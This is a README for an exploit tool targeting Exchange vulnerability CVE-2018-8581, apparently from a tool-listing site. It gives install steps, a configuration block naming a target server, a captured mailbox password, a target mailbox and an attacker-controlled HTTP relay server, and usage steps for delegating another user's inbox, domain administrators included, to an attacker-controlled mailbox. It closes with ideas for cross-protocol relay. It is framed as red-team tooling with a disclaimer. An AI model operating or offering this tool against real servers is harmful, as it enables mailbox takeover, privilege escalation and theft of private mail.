CVE-2018-8581

CVE-2018-8581

This is a lateral movement and privilege escalation vulnerability at the mailbox level.

It can be used to delegate and take over the inbox of other users (including domain administrators) after obtaining the credentials of a regular mailbox account.

This EXP script is an enhanced one-click script modified from the original PoC. After configuring the relevant parameters, it will automatically add or remove delegation to the target mailbox's inbox, facilitating security teams and red teams in completing a simulated attack against an authorized enterprise.

The original PoC uses two scripts to add inbox rules, which is not very practical in real red team engagements. Besides requiring a mailbox, the original PoC also needs the SID of the target mailbox user. However, the method for obtaining the user SID mentioned in the referenced article could not be successfully reproduced in my tests on Exchange Server 2010 and 2013 (2010 lacks the relevant options, 2013 prompts insufficient permissions). My final approach was to first perform a reverse delegation to obtain the SID of the target mailbox user, then remove the delegation.

How to Use

• Install python-ntlm

  pip install python-ntlm

• Configure the relevant parameters in the following code of the script:

  root@kitploit:~

  ...
  # Exchange server config
  IP = 'mail.target_domain.com'
  PORT = 443
  PROTO = 'https'
  # PORT = 80
  # PROTO = 'http'
  
  # CONTROLLED_EMAIL and TARGET_EMAIL config
  USER = 'the_email_u_have'
  DOMAIN = 'the_domain_name'
  PASS = 'password_of_the_email_u_have'
  
  TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
  CONTROLLED_EMAIL = "the_email_u_have@target_domain"
  
  # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
  FLAG = 1
  
  # Exchange server version 
  # EXCHANGE_VERSION = "Exchange2010_SP1"
  EXCHANGE_VERSION = "Exchange2010_SP2"
  # EXCHANGE_VERSION = "Exchange2010_SP3"
  # EXCHANGE_VERSION = "Exchange2013"
  # EXCHANGE_VERSION = "Exchange2016"
  
  #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
  HTTPPORT = 8080
  EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
  ...
  

• Run the script, then drink some goji berry tea and wait for a minute.

  

• At this point, the inbox of TARGET_EMAIL has been successfully delegated to CONTROLLED_EMAIL.

• View the target mailbox's inbox in OWA or Outlook.

  img2

• Change FLAG to 0, run the script again, then drink some goji berry tea again and wait another minute to remove the previously added delegation.

  img3

• No permission to access again.

Applicable Environment

• Python 2.7.14

• Exchange Server 2010 (relatively stable, tested and works on most Exchange Server 2010)

• Exchange Server 2013 (may fail due to environmental differences)

• Exchange Server 2016 (may fail due to environmental differences)

More

More EWS SOAP API requests can be modified within the make_relay_body() function.

In experiments attempting to further exploit relayed Net-NTLM hashes to attack other hosts that do not require SMB signing, it was found that the obtained hashes were all from the Exchange Server... Perhaps in cases where SMB signing is disabled on the Exchange Server, it could be used for cross-protocol relay attacks against the Exchange Server, but such scenarios are rarely encountered...

Disclaimer

This script is for learning and communication purposes only. Users must comply with local laws. The author assumes no legal responsibility for any misuse. Downloading and using the script signifies agreement to the above terms.